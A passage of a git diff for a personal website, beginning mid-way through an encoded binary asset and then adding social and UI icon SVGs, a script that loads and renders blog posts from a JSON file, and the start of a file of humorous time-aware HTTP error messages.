zJRBo>J0|w_gwSA_%*H&tn6696aaTRg?0=cfj*0jpHYyNI9Px$4?2&8V_Gdz5HPD6+Xfz z9OMM95`QOGwI5UK4M@AE}%aLBkkL6;@%%w0}bC(9AMS%>e6|K$4*EBOhR zZ}kj97AC#~c-j|Y{s(#Q5U#x1UYOFlp5s3V-TiB z?saD+4UgOlPOxT8<;z*KHM45jK|VT&O2xX3p^7;ye|We98BMo)?n)v))6=`bIS2%= z#{a}2SH+iWU6LJ|3yAyGz_j;dqbkY`x`d19BBN!agha5b0Pf|^j?ilEGKqoWas||f z#Y(9MNnApkRVC(!8ng!)k_l&Blk+Woj$tjD-y6o{Cu*4taRoU;Bjgu+g zl73{chB_R}`|S)2X5&3=(tVkgk@@n`Y-Mf`rr z@)7)#=b3mBi5Jhetf+sOExIC`R8cTal}?+I`50d^TEXs$re4coa#0<4qJkrqdLHXW z(+|S+$QVT&c@PP!aU+`ROg{C2mg~Wyn{rCOXV@hZCrZ^ulq#8}NM5jhiY*22Eo7SF zE66j($*dYT>rB?c7K^J-wY(M#ppDSoa#+=^q$ypj7SAgef%=hyM71eiD*A+vijNWp zen7+n$^PtS(G2081=U@jc+Qo;%;@3Lw8;${5_zw|uKT=cD@5zcSsV7w&NtLS?%Y2+ z(&Gi(E2dp}oZITRpDdNaf-9%rzr8#?z~p-LYVHCxRXlpEyFVvAEYL9*#>}fsMMBHV zjc}H3dDC1fk*bvMP86K!OJ{;W4muO0q6>p7f+iYQap)vMF^M83cxM8#`HeeZ4~}4c zOkfjYeV2Gkzn=INKxcWR?VAoF<2%ZR_tq$ith(c{!!demI2SX?CNN$%1bzt( zRA{l&&Io2ZM+UBdxEV2=LkHL2cRfJ`Da^QIM#MvNendm@F3rr1XM%Bx-;L5-^zTX< zCS^HBM{GZjCIb&C2(I_C!_j7c!q4k_>O8W9W?vpynq7Hd)f-ion{%){+$xJ8+^WE? z;#Phg{gB_JuD>x#oQ~PE6#tu4r15+LzrZY7y~HTZtQ5Mie(1y}t_>{~9VP};jF9o7 zVuY|^;F1|4S%_CD!uln4@dOM?0%xcOh!-Eg zxM%Z*dnK;Ss!5ITDl1b5@=L|1A|lf+o~XCQnU?`Zg*&{)`5H^k?qBh=1_aKQoR(-7 zr9%Mg{6-%Nrm4e-Hv^*#8XO6WzWYud@Wl|*AN1in;5icbF_b{QKF}bxc4nZi2ahwv z9=4HT(MUP}MA==Q_o3dz(3>c@NE319A;G{Qocn%9p4?sJO+CK5(7IH&S)S$ny0gez z+^JeDwdmo%H?ar>#EY?c_5%YAphY{~%}_ewd*w*SHNctUaSiZHV$4r)&?N7iYefSt zRsu1goF$TXE;HMO*B9@+PE%KX124 zMdcz8azkFmOoU?o@GIA2vZG;GrqYhMkV+=HXj7hlL{g>!K~cLz<>4?i}c`l(T3vsCGN49mHMQ? zBD04)ng!)^2W-X6)mWB8ggF{7iRfMZF+g0;@3!2yF% zoc3I*QMXH`GRHqU8N+hc;wVy)yk#U-VDz^Ea2ap%gU30H3QK|TZpTM zKAKa|D@s=5H#>^1F1}BgN(n$$w=cGs7f59LW@u7zU%|UH%CK7FTYaECcLr6@*zTkH z2VHiDyM9J))|u>7V%WS*49oN}{Nd3?GXi)p6d%oA77vCcoh`uXH(0VRc6#~58wA|@ zzSZOshZvV8R^xuBD+6{SPNeez@U><3*ZW+s4ldTw20__ zwzt@uf#kE+>Jp9eZXb}Cl3SHlz59=5L5ZzUfMDCx&EPN6S+4kjp_~v6*V731xhnOi zY}T2qp8_y=a7AFVWYRFN^bl#|sO z2P)hc+}Jf@9GaR@bYCuC%Z<9`L%Ah$+2*#b^Cg?_N!-EQ2Ti$trBsCq}?VW$n-OjtTFWr32XYVS=hg705U6*V2vu@Avp{h_W*>V-i zB|(W@xy_c&S>XVF*mb6X-%-yv8QE@CuYqShg!iV);0H>|hdh@!cxUdM&8d}L4`tbX z)5MGzmtN4_ycZq+1XH46m&{572gPu0c9TozGsGAQ(zw=yr+UKumfL@Ax0zpkKSrfF4@KH zUOvw7ilp&+dmW9FRRa}%o?I_WB|1yiZQ<7(-n|(}c5mStKNxs)=k8Ea(eiE|kabq8 zg0qX8=}s@7cM7dqmA3wUKa*Y!i zCZ7ZC=y0Iz1y<}2+pw!uYxS}1FnRCbx>w9>@g&VH%;Y}V#esuj09HlvYlFusOWulh zdikss3R@5_GW+zM4CxhYJx{we6BeJIl?DTz;XEVykND%KQez;TSP$qm3l&+A)x?s7 zxS<#`3=t9>L)5B~eqCOyHXzj2Apw0@)hn^ouI}X_fx0N`GFZzo^nbsnTCo z>7U95BcJuW&U{j5UUV7E4^gU9i)Cw;1Agob=J)Wp zA;rbIc5bvppmw5mTW{7oQ)f9;)0tqwlSr&s0ztbb1hb8WMKYPY z;U9Q>elUM_X-<(RNHov5JyRmrlwxghd#-ZXW4;TQ@=n&lusoUtCH7+av2D~J-vLYfE|iBKyPLXAc2n0iW9si) zUnA=8YsX2pdWV;c_$GCgW~DV%EJ{%}1}mY=E`~k9IQNDOxM7MOT`qhli%^_hj~3m~ zTwl5{G|+(3pk_r(Gf+iA1DIRT=muRMEr{v+cyN#x2duX(mW#AMtnoHJ&YEr@4h_6_=2ylD2CHo zuTKj!o2V`!^@K&aG_*&xlWaA)tcuo`^mU-I;T9UnGC|qjKps|W!xScNkPz<|9sIo( zRvBv{*gb~J7@rAFuDs_g9~^!s?V`y6tcb|Gd7AW0k#D*)FL>3dfo0+}4V0`#QAN)YwOCvVPaa`Zuz9KN7hc+I9rIQJuKQXhvficv@CGogq$N-80%i?=lF_UFBqv?t z^LZ)tC)ZwT$*j9#4VR;SyUiw+w_)3*x6$mJ3sy;UcD+oA)=&^kAm@;#lSLo)Q-_TiUHO;SSCZ zQTUa&c4(?)=&>t2vqNoPyxOcYSv3!M^RbWzygOWo&oTE368H4-Vmtj*V~Z*!+9+Pv zh22=AI=8jr@9S-r?Ue#2g}<7a5XqHE)LIA?v`HLHS#6KS#$w~CEk5#5m;)$s2vQUO z^_jfYLYK<2Qx-`P)ygHEy zqhE6h(^JA_WuQNF(UJw%K9?pjD7G+&<0zqnb?~wc(+x9V(Hnbw2P`+>&91D|A$xKc zFl%^d#55W!581Ig3GUhor*GzAi8saD4tHrIrPnHVaPTC@#{n>Zo}ivh);bryP&FtP zt#$x2rrhlEok?Q_G|dIGb6n{#Wiz;rGaXI`j11+@l0n4u)C4SwHn$Y=N3GknDs2po zVRyCBhtuoGsRhxCjEO(!Zmw($i*~87DY9xwyI2|hQsuoIt;Smn>~okG<8G{0BsOwN zap0Gbn8%Br(=?u+DiH45x6?UKOdr~B{G5lS(Kt%Si9RMOfz^9EerzjVPCYJA%?!ar zEQ1H~Xfj!_zebj6S?mX;DPOxKlM4h(E7OL~t93v>+RRZb2b#tGck_W9<;! zwtLoT*kXGKm6&OL?l9nDe~Z2tA5>Z^Da@N(2Mz>td`(ph1lyA1!MU|XOJTtlwIN}1 zE})%cfdhExGBRSu!j10cY?tN29ltqZjZYPuiH%Q{W_xpqX6>{)k4`2ls<+`S^GVwG z)xdn-&}Kq&*tmXYO-uU}X}8=ZF{ZgDjJZqWAY2MSDB0-EL$3--Hf=^p=JQq=b8hM~ zR5iK8T9vn6C|qPB_!Czuh}w7Wa5uOJ*g=B`?ftQ=GG#QHi**Jb(>}se(g-#)va=zT z9fRdhaM8Gks{l1)n5ZHrav&2mLa^C=DMGMWI?G)>!`{Z#Gn(P`+Wu-@yB%0yVd>O$ zPC+JM?WtSy@Z(X8L*O(zbwP6c=F^uf@3(pLGAd*&ZaRr0`JG-qD=#=4jF5bi$})7y zYHMsY8z$9+rDW*~u*`A&(n4mDksqy+$yNqac=FI#oSdK#a9HYfw3La&L)LvZmI{X( zTWU&ZYrt|3LeIql_vIXF(Qmt&u1lV@(O&j+&LF!H>stzM)ywSDip9UyTeyMThlg&0ZiQqi^;Bdf>na1bMquZre?I z7$%$Y+0?KGhmqLTjp8jhYj?BGWTmzGbEt8GLd$vI^oARFoIG*>&(X`)f_{)4oWU{7 zM&@N_r^<_#uwzWOJyDLDiJtVC=xHBpT>}Fro7$*w6Q;{7Xzd5pEfF9OO|*46gjClp z(49)~3Ba~y)5%gkoh<2%&088wd0UJ3y^D<0=?Ru@Jc_bZl708^tyd}<+}>()w7^} zu!bPv^#d4+1n*V-^dY&c#D^wJh(<4h-Tcl?j$Rg*6P(ms64+8xXOM}u+XrMLYmm0| zBV4VrC$!#FjWF`*iG>GP^3FKIqE=c_c5fsKXh~sO_$Y^k5d0P07_Nt|8!$zVhAElGfr0 zDIN}bbRzCp`%{k?p~$CA?~(LcB&FEW4Oia(6AKTHFfU}~ zSKR-yNF0=ssCBd@Mki8G1>8rrtQvcF z6w0~x#pr{X5+aYV^LoA6MzgeeBAKj_eSBQn?G=*!(H|+xcAmW($2RSgw_)6KfsvV4`6PnmOULbbBB{#&qjrtF#P(N{mH1-V?_Z{g0~Bt?VQLq_~LYNiipY;+Hfv7 zzFdVzY+fnj>OU|YZ(J1F-G8ge<)df=-6~Vf8+OSo9qMg@bWXv(8_3JW-vvSoA;1~F zK?xy2_S$fNYnZ?ORv&1z&#;Ax;_0<$tfHm30qKd$k+w$>aKY|L{)|ME&P}4(Z6gcB zP}->4%6H8hmbIC{t)}gSX7$<}C9B8H#!s$9G$vM@aNA*IwC@^T+2&S){lXT=gJ5=! z4{*Eqa;wQ@%>|K^Fi}ql3nAiC7e2hj5B-3Sb{<@M|O+o3BDeLOepb(?DUDWkK9O^$w9fHaqLGZ!jjpbo1n{oAD z`})$V5tUAlWrQ2aL|m4pDc4-{D7kEGe$?cpHLz$bWNQK!1#pusne|pm?+v`&W)sW9 z%GH`n7I7EKY&?2^CD&xM=axA^K$^xkydcfgl@_+$X7dSyqAIP0j}3ZgQrk8V1JnBc zIJ+K1Q$BnTr?=-YZtz&Hp|Sk~+rpC02SvHPZIm|y66LlAqP$rT>)s|`AzKWrWGdK` zQ!A494?|4bN8&}oH@YuZr-OU!fd|tI%qB8Swy8cBZl*6RIX5I?m&H2Tl4&Kka-+|j1RgTAyGbQaxZpx7c=FDWIomT?g-nwL#qU&m<`mAX1mvok6AZ4)F_M2Sd z409`h)K_RVCTsCl(t#4&9LJig1=baOteY!tKjPF&9~QL}Lf4&%fDhMXF}cF}xH(4~ z4`K{lWkn}loXU!>R?X?KY|J{WW_hd@|NP#8onAiQM(?ig;f_*m1-2k-RVrH@mW_1- z@n4jw11ib~`NqSwB?981a7Isl`510cCr2#GG zg6$GgXS#@;T|(&|WD08v5JC&M=Si5=`IA%doh|;SjD*UW!arG8E%hW ztzNQ>`&NYxrJ(h*x@_lBY+g%F38CF|gQHV1z!2>pj1ldSe08btcni{4WI~-?td~?S zC4$7AUrieiXX5q6H(flIEY8Rbmd24jqs-S0_yUTL(|wB0L|gC$E{aBqq!A95+^`kb zd=YR76_i(7O)ejY3L(k>4gG3PkYItKuNRsEOxWz5zdF0a=ppXD*n0`EU@JWkmLjW9 zw^60D0eF18ojh!>msBa6j1(h`GhsnC4Wr4)nCQNlN-T?{HARvqE)T~TT++xShK1Ma zfUs~|tZpHo2w6yhYvwxyqBiZup2_jGSqim>Pq!HH zhvS1|l$o&2moI`66GY8DL{19>_yHCt$0MQ*5X_Z|2adh=V^_i;WMlh7(S^eLz0AcAXu#j||s+Z3n1en<|WRk#b<|4&H!v%C+1t zj9GgfUG)~SDhNv^F_tXvSFxvdt+v~-1qjPY5YOe}4xiqhyD8a)4(jWDkwZkBK~FBD z_{wkUMnv&7AF5G*pxHnL`JueP1BdUYEd6wMTTyBAXlYz4#zmR~ZzvW7LB2S6 zFT`&po$t7a1TeOjVVBI(c}*N?)rG0U5qC|gd1#adopVcaTV1XU4Qc?nz+j5Nh&f?U z-*z3OIBCy&xk@@2J zLU@t+;(0ja5gCi*^!yAyxD@XO^ack8;v-%h-FBQYd$Eo)*1TuO78H@!@d9gVeYG&v z{7rXy`Rq6mTJo-lXS9C4-c11kyz-Az2gj!6Oewk5e zQTC))uQ77m>lJneT3s)iJ5>et^Tb!$R%xf^lJ9iTxALfzqte0K7&Tohb=w`b^S`o{ zt}D&N*enm_(($9KT8M^A%f9TV;fRCdreb06dY63_5KF zinp3v;#AP;*!-Zwt)N+F{gh~Kjc(o`Ail6+)5zY)rYCF~rL|zN<5ALI8fR9bg*<~Z zt1gpIk*$^}oy*hE1*`^N)?Sq5I+3+kl`SnmIbrsT4Is|*IJ#)Sxm#6B11rgfFh~L~ zbJ-4bR!nNBQN&e|5$-i*xEen^Glk#>=A3Q8{ky?NnD;G-Pm_sk(!9RmUILbnL=TqA zvZbqo;@o`I(%qgUxyRXfqlzDwwT4|Bxdb5^l*hQ(F4iO0HRh5pUI(i`Bhf9H_^S>o z=Z2Xh?RWdhU3l74YP|YPS*zN!^TfjuRU1#XIH)k;;y1a(Su!YtkKQVF!4lh9I?F?< zr*RLdo_~TM^1KG~Aro28JPSEv+=}X>$qcVLNo7`X;a}ancg{~9?_7Hdd5@YCC_uIS z*SvMW7Pj86+FSgI^&y0-c2ME~a-*2uY2^KAPa+@aobEo*naj8H0ny$V4hSKJr7GD~C1VqgVx?-*&eT8v!cLLV%vVV-Db0cu@}g(rhkpy4zK+@ z9&xt*%rH!Of@8rjE$M6qvOctsO{N18)`z2Er5av18YP|Oa77H}<4oYoDwjCfOZ!^c zhh`mM=4JKr3+?ps+0shD?DgO@!uVD_}Z z$nnrFpW{*Q_*t$`mF51~{2a;A)^3w8)19yReldl&1EaSw!!$rD0fSjP{QN1g0*si; zL=M)11K2j!ODfBdOrQYkE#ozey(-4es0tI`nhzxes1+1^>ZcNsh?|x zaWO+%Jlv&K{j0a>9I0-P->Wd&O+LolMkW``;|e=r`R;WeM1j_QFzPi|leeMnN38Jr zO(I;4I$cUTp*7MieFyJo_^EDt9pjpvi*e0t_BEcOZpBmT9tJ&u$KtD`CoG+{AL11s zd8kWDJ#E_mGG$+N&byhUX}RF7T%7ol&o&nDhIDX@@b8+-P^4^~8PA!D7Ai*Z7zN!$ zqV%1I?Ut96&TM3r?Aa9pJ2+zd^l7J;&&MHU=AgvH!_t z5A-=F(F-haPpeaWyUk{66_(EO3ah5T%?ocuZ|`)CH4Gl?i}RT`SLQg$D|L*X4YW5T zy5zD{+y(630fR!gG*yp2vK82N@c6E3ap_#d@eT}seVTz8{S_Y}O)f{F2*?tx2*?sp zFvI;0!8c%wB5EkoHxDroYpD36a;P)veCL1g>XIpk(ubV$Ah@(^W;P#}O2T+ZP8pZV z$R$n~aigh(m|*D@I+_ZH|BSFH`4i>@^0FuOMmNwrnnssnqntkw?|`?_wrr5yjO2i z&)UvwDp)P+sd(|t-M)D7O~6e5wdRtRd+eFo zWev$%ipeO&5qVMfSmB<|a^hN_AKoaIyc11T-oE0XE9c28T~33))@6PC!ot`ev3Xa2 zoEhkx7UT9coE9&&#Wl3jW}PheAS6N?e^%R8}8x5BaOz!Fi`C7qS?Mgz){)!Ax6b4wo5z3@L-D3 z`sjg-CPr@N&Xc8Bi7&l$yK4JOow3s^{VTsbLx@rKVG5a4JrC|)4gf*t%B4K4zM*653WIm8vVYh-`7-qp*{ z+t*qo#IP@^Ai8}|!9RYXRAMFWzL8eK6uuzJeCQc*zjfSaGX=3u5&_GBu4Yu)t6@$- zN6DYemh{@g5lHFW@lB`m`cVZhUr-)G9M+UM1$x z!@8Utyj+f713tO)dGQ*JkV>0k2HqxdV8)yD~Kw_fmpPs8lOg6b094Dy~ry;4zR&3-@qSWM2ajG3; zPU5s=4h~0TzHUb_zC=no`+{z_U@tq-36YEhY0a^Q0mS~ISF<{DQHn#;us016nMyMx zJQg7`t#a8^F?2YRcUF0*EX&4EC<}3eGmq;kf`hU;u2<|NE2?gIcqu_0weK%_UUDDF z4bJgHMmbl#I+Gn)3Kz^e|I$TszK>w5wNElBCF$IKgGLv@4e{1jWwOPp|GLUouBFXM zT`YqtkWV~r&o&x+@9aR}RuL;s#y1EVWiP;O9q%na>?-w(vOi&Mk41PKZK9@RWBEg2mt1;905IV}_;v(tf{8foBN^?cZF)ofG2wfw90xt-3m&7ALG zMod<_-s7$)TCOg&xhdO~ug+x0+&LM}c1OGc^vl~_vz4d-iMeRwZO*G#FtwCD95)x~ z#I1F^l3&Y+VByv$r6By=U7fw=`(UtyKJSYEWb;7@#tN_-W$f8OUv?!(N#E?-xw&}o zR_eU+sCu91aHAz+o8Xj_ew~~=z%>a0JTbUH5%gk;lTJ^BN4M}n*@cQ;Fk8wKh@b`e zIYVJl&b`fsgpD4#!Gd%+&3J0jeAN>7?e&NtaA#Newn9OknxpGEo_Tn4Y#zh(s}o`) zU`prf%2Sw^`^sJkOSV7`-(M%Idpq5#)ZX z?+8nJc5%gOnH(KF_AsTM$HUG96G*y!_8l8WgZp-jKDw#D=f1D;j3^W~w62z8YNGkD z(7#Sw*VM<(yoNTEn@`|kvSwB?w$JD-dh*9asliqR6R0ulOOJgqWiuTw9HZ_&nGyuZ zJVz!0Vdsh8S5|OD1WO%rHKW|RtZ_@KtUk_iL5ABnC>c@Dt0m_{Pm z?efkPTQ7|z^J@TYukeoSN1R++O)fu~*h{F zz8$^XZnKF6S&8$9{R8$1{L11!eY}t53@;%=0=Ch;8A#Uj1MdhoLVn;Wm1Pn2M)x*C z3oIeiuo!?0ibNk(rTm5r<<;kL^M0&n|4Q=%h%SIU1t2vz&Kmg*l zIA4x@KE6;9?uNTi5uQz~LF&pwewBPo-gaci0I|jJSc%UdCQ+z^JMW&{WH?Q%{ zVQIKAb~C~qn_LEg?KRLNXVo5ymM;k2QquW9`XgoeI65~|KUSVy6S}5D$^U6vA)w`M z@vr}QaX$8gyV2swri9)-*+zsRt~=_ZlyCacA1lmf_J*n%=iU=>J$*dtJ<(w0J$p}V z3*YfXM{3`(fg!#>zmf|nU;1;$mxL%dyI456!9G-E1j`u03|^)v)Z?utmk-@eo@*DB znOD7jdN(+0;WGl>btnn4rD8;MHsYRX*Y?dilQj}!Di70%VVT6hDYJH)P|oz*uWMvl zI?duV#O40{@6mcQI~%b&}|`SfmZb`1qE zc`KGdub;Czfv?@>cOl$eGt?!O^@de2o7mbP&4Lm;y-V24O79ZQG;6qEnqLhUte$WL zHMH=BNYO_Vc>Ly&@0NRD?Qc)Si995wsfUdz-lgrjO(;W{a<;^i>;(GNJNG7R9 zi*ZDkU@_F$QnhC>VpX5q1)np^rKymsI5-tDTki!I3iX@29c}nE-nLisPU4;^$Ff-- zO_~`F58&8GQ`T6JsQaw~(}XL!iK(53uLO83i2>$#LSu0hIV#bpJ( zPHWzWVw_w~Iui^gQ)i2#nMIE~tD691Q=PGf6~t9m2FRUazxihAvRO4^4AA3s$FDRM zeq>vNEJ;~wuVQ%N0o7;A1{WN7{pSZ2O^LJNfTe$rm4jnT5?u-=<#gC)^=^Bxfi9-! zXVa-%445Yh5vyo>+*RV{P@6ptq)oafcLDQl`-Qn@SxvT2i^b(^HhXur&ps%dTF^k5 zD}?ou$};m&D;n8+)GE=GaFAZP_gWHF$63IGH0l}iX>s|< z=k6)B^R=qO|FK;KTUb73gKyEee`4Gp-vLYfxZ!aby3Z*%;-hd*f@20k8k$$YB^%%02f!2TwzTZBYx;!u(pzC^Zjy212YiEGc9v;Y z|54L&TbA`hX08=vtk|p@?mK4SSuf=0DsLNp<`11M$eLy=qMcB0Sgv6oNZo!0nswF? z-HaL6!X4c00}}Irgs8Xh`1q^&#NipK#NZ}w5Z~VA_|hq(2f86)qm`ljCO223(L;Dk z%s;o=4$%&WO)uP$9`y8Xa6a|XUB%voC7m`w=518zteQc;g2H5OWm zBZ5$X%)@nPM-7;_Ag3whEyz;Y#(n7#F6&Q1)|>{Bz?tv_@ZLhd#R2j_b;gjn8>rNh ze0&Ei+k1Efb9Fqz6@DCRK`daX769J{c6#}&-&KqizFQFU0E!k@{7G36uLWZAN?5|y zWnscogtOZ2>^LL3hHAjn4PM} z5Aknvb90VEF#Tk!%fSRQ!u}ynJ>kqP>B?!0i|G_^uexRyB`6jRRFFKuNiPm^w#t<@ z-DjSoz>JgwJE?$ThG?fyW~l`yy8+(U_S~&isD<3oLhw6 zjO}5{4}2SfYOP8&i7g-6JKZKFq)>k;Tb^Ls%@$f(k6kl1=B^hgakHrQZ!Qo`%BJvm zp7^y~14b7iA~61i4SK`Bh>+n8MOeLhj^AcI1PO$fXdi<;C_$@s>+$H!YICj1+gN(& zB1iB6T`(eN${Dqa018gAC`=P_J}F|aeIE=P#aMApRXJ^MAJ3_(3XpwTu?Lj-@9r>5 zHnCPC22<`QJH343p%XJT4MSaFHtS4ctS8Wv1ckOY14-Or$`iU5d^8J6$<*Qnv3U5( z4ERz8jwAg9Qsq?@lv<~XVlCN#KYmA{zRm~lDDw}q)i1U7Hv3RD1R>P+z*|@`no^f{ z`<_d_+u0;sm9C$S^$%L)hu%^Es8` zNq*@{5hFo~-Dv@7zI0kZK70HSwJ3!UiHJk!F!xV8CA;srHv`GmTU;&i7S|Sij89HS zZ`Vp}@qgH~-of)3srl;ltO~&{sxJB#5>LrR;MgeFG^lYA&%h9g)ZEV7es%)C)H#JN zU{ynFJ1xX3(Yp*0MNV+zgSj$sw=J8QBlS3+-8w2&5U z!?z{wf$RLpiR$SUOY0}4u+3Vs4<_ndP~5b0@y?v7EqD zD;T@@TWgufl67wQIFYI@k-IaHI9bqdGSs|NZujzmMqsn?D~1pbrGgB1hOyU|RRk7f zY9ZUSP$-8ZB7~McwPlE`_GTc73u#!llcUW1yMZDd;mQBv8ZSjvE^ER!g6!BgRoNJ4 zILYVuv%^zHUdo{4Eqag5XD2>_$kwLo#770lww+ZI1-92ZtEPq|uGl|fJ*3n_?4LTH zc#EgE=R`rqPw~{Hc}K8FY#B1xglZt>p1hBEDl5q|$+d_5u_dZGmx+P{>3D2@BiBnR z%Lo{JB?2|rqFZBjBCV*aBu>J+}vC$COn%V%R19(SWpp11iIz5J)W{Aa!V=e_(F zz5Gvl`7e9<3@qDTo=D3C4x8M^U7zB4M5D#QzT|ww&y7^p7}!AT^wZUCtH~wKhCyQ_qRsW{eY5Ru zlCc9YbLXz<4lL2RxDn62z8piDU9QG&wjXg3sur{kK za?BS4!FME{w{coIjCNF^0;R~h@Ia+tV=h4-bxxj~{_IHJAHKUN`?%9b36l21cfhkA z@?@Cb_Gw*-Pb43*PtNClFFv>vnhhz)N7jjFKbi$4wp#%fH8s1~JT~+e_6~fTSUr4$ zy#wFxi*5VOuHd~d&(;d{-Z!9ZeY0)JH-;y70kejpp@a)Ae^m4IjFrNCQK_aO$*h}) zXHK0wJTsqo=;hia!^uwgBUzAl1}_K(DPnq9SJn;6OFHXtBN0pk!Hp!7Sql49Ab)YL zQeCEC=ul=a;ziEJak0?zhkmhWx}p;q5*v-0>7u2ta6Ue@gPIP=ho=*MdtG6Yg0VAf zS_!=7n#db=z$EAJ40n76HASzms$<)Fb8tAvK7DySdb=9G`37qidmtX5^9~bnc)`Yg z+yA7_yr?su)|t=h%;#$r7szI74X`h)sTU$zjG3WJ?b3$!p23OS5IXufDleK&9W}QilXutp69*3rL#QVLsz)ypWWu7b}40E|L~HB8{t+sT>Dl0e~|=80>TMMb1TZ?sR;6 z_413)?&;qT{^_6Yy?5^iq?Y;b3IDyv{|@-y4}Ng(&+b!l-(Z5@TbTR7!u&ryT;6^D zH~;rP0{)kO|Lu&xn*Y1Ewx)Ob=%bISSNr(mkN?sB|1rR|wcq^V_rL$maQKJc81C`^ z`f`44?b(0#tG}dh_oI(?pa1gPZ@>MSs;f!;`oHYAFrr%u{`miy`(4SdwQ_x4+%ee>;GE93pXe#?K}O6I;U z_5LlW{g4zUH8QF^UUlqHuU;gsjpS`E7mGJ<7g5K||@{Kfe?4Q;17PC#|nB4Il ze)qdS{NWG(k?9(k6nykiwE4T=ef#alYR1a=(l+$=4o|#!{<2}(gtp22o_hAB%`yGa zz^r}jO3(WW4`-+Z6n>J>=*Ok2nuV6E4H#>eM%&))w#Z`R2=Z40g6=Cx4 z9~dO|5%YtqNX zbLIQpyQeS62Q)lk@&QX`uQ)u{r02X``@w|G)Jmd?SJ_D|NZa(gRhk@?|=2}SNClC`y+-Q{o?n(_-Gi< zyZ2ibeWvwmGujg0{HMSFPygrNdn>j%6*Qg2C8GrIL@(_jyC2Q3l{W5ud4IPYQ=BkO zrQiM+{!NDbD_}djO3o4x0Qc6O=V2hwmyFPt^&9DRcqxjW{mru<^86qE{C|GRTSe~K zU;g3#{L_2?dF^k8|8FTx+>fKXt&DU`|a<4 z|NDR7zu*5Y^}y3Eq`g(IFrVk2hH`$b&hb35c~bI(D#uP9$DuZTMzG3JugbAiRXIC~ z{|j$nXEE zHS=K}B>U%2sB=7_Dx=LRH^0`LjbDHL8x{WMYnrt0{tM*~|5`aHz3NnBV5*#6qC4^Q z5?xL&(dG03yBy7qhm*hk{qM(m0{`q2+V`{PF(=|Q)bqNW4_cP_FlCMpcx7w%i5jF{ zm3#h+I`@kv_wm}tnp$z<@eVc=egf&;yE5-fVwMl6k@UxL8RJr_sUX~xQj~R4<_u9T-hZ*OlxA{FwWbxq-7U#cT`|sz!x%cef z-}C)QH%HBR5&!S=-@T>(IxpA{mj3I#dvpKaiqi4#&mOF-{2=qY+$==|ef(z+{_Fw2 zUy)af_XBxAPVja9TUnXEw>19`qzq@po*<7Yp|>Sg-O3nqX1?Bkc$*H_b@{rJbHpxhk(Iik29Pj2B(A571t zKSo{)8%#C+Y;p15Jo}$Uhf-Vn*|V(l=FOWw7mlH*E=d2QjC3zAe)jCsKY#J(p8)uF z^m;VDyppETYzzO)W2yc>U^RD21E<|%|CvfZJ{(^j{&@e#s3&>NKR-WaWd3D5n(_Gm E0YS$AGynhq literal 0 HcmV?d00001 diff --git a/assets/icons/bluesky.svg b/assets/icons/bluesky.svg new file mode 100644 index 0000000..d93b517 --- /dev/null +++ b/assets/icons/bluesky.svg @@ -0,0 +1 @@ + diff --git a/assets/icons/book.svg b/assets/icons/book.svg new file mode 100644 index 0000000..2f73779 --- /dev/null +++ b/assets/icons/book.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/assets/icons/check.svg b/assets/icons/check.svg new file mode 100644 index 0000000..4717891 --- /dev/null +++ b/assets/icons/check.svg @@ -0,0 +1 @@ + diff --git a/assets/icons/copy.svg b/assets/icons/copy.svg new file mode 100644 index 0000000..49b8886 --- /dev/null +++ b/assets/icons/copy.svg @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/assets/icons/heart.svg b/assets/icons/heart.svg new file mode 100644 index 0000000..2d30ea1 --- /dev/null +++ b/assets/icons/heart.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/assets/icons/home.svg b/assets/icons/home.svg new file mode 100644 index 0000000..0ad4be7 --- /dev/null +++ b/assets/icons/home.svg @@ -0,0 +1 @@ + diff --git a/assets/icons/like.svg b/assets/icons/like.svg new file mode 100644 index 0000000..0bed36d --- /dev/null +++ b/assets/icons/like.svg @@ -0,0 +1,19 @@ + + + + + like [#1386] + Created with Sketch. + + + + + + + + + + + + + \ No newline at end of file diff --git a/assets/icons/mastodon.svg b/assets/icons/mastodon.svg new file mode 100644 index 0000000..24eed12 --- /dev/null +++ b/assets/icons/mastodon.svg @@ -0,0 +1 @@ +Mastodon \ No newline at end of file diff --git a/assets/icons/rss.svg b/assets/icons/rss.svg new file mode 100644 index 0000000..8bce497 --- /dev/null +++ b/assets/icons/rss.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/assets/js/blog-utils.js b/assets/js/blog-utils.js new file mode 100644 index 0000000..3e8d517 --- /dev/null +++ b/assets/js/blog-utils.js @@ -0,0 +1,48 @@ +// Load and display all blog posts +async function loadBlogPosts() { + try { + const response = await fetch('blog-posts.json'); + const posts = await response.json(); + const container = document.getElementById("blogPostsContainer"); + + // Sort posts by date (newest first) + const sortedPosts = posts.sort((a, b) => new Date(b.date) - new Date(a.date)); + + sortedPosts.forEach(post => { + const postElement = document.createElement('div'); + postElement.className = 'blog-post'; + postElement.id = `post-${post.id}`; + + // Convert content newlines to paragraphs + const contentParagraphs = post.content.split('\n\n').filter(p => p.trim().length > 0); + const formattedContent = contentParagraphs.map(p => `

      ${p.trim()}

      `).join(''); + + postElement.innerHTML = ` +

      ${post.title}

      + +

      ${post.excerpt}

      +
      ${formattedContent}
      +

      -- Author --

      + `; + + container.appendChild(postElement); + }); + + // Scroll to post if hash is present + if (window.location.hash) { + setTimeout(() => { + const targetPost = document.querySelector(window.location.hash); + if (targetPost) { + targetPost.scrollIntoView({ behavior: 'smooth', block: 'start' }); + } + }, 100); + } + } catch (error) { + console.error('Error loading blog posts:', error); + document.getElementById("blogPostsContainer").innerHTML = + '

      Error loading blog posts. Please try again later.

      '; + } +} + +// Load posts when page loads +window.addEventListener('load', loadBlogPosts); diff --git a/assets/js/error-messages.js b/assets/js/error-messages.js new file mode 100644 index 0000000..e13e595 --- /dev/null +++ b/assets/js/error-messages.js @@ -0,0 +1,138 @@ +// Error messages with time-of-day awareness +// Each error code has multiple witty messages that rotate randomly + +function getErrorMessage(errorCode) { + const today = new Date(); + // Your timezone, your problem - we just read what your browser tells us + const hours = today.getHours(); + + const timeContext = hours < 6 ? 'late' : hours < 12 ? 'morning' : hours < 18 ? 'afternoon' : 'evening'; + + const messages = { + 400: [ + "Bad Request? More like bad judgment. What were you even thinking?", + "Your browser sent something that made the server question its life choices.", + "Syntax error: human detected. Please reformat your existence.", + "The server tried to parse your request. It failed. Miserably.", + "This isn't a buffet. You can't just order whatever you want.", + "Your request was so malformed, it gave the parser an existential crisis.", + "Bad request? That's putting it mildly. The server is offended.", + "The server politely declined your request. It's not you, it's... actually, it is you." + ], + 401: [ + "Unauthorized. You shall not pass. Unless you have the password.", + "Access denied. This area 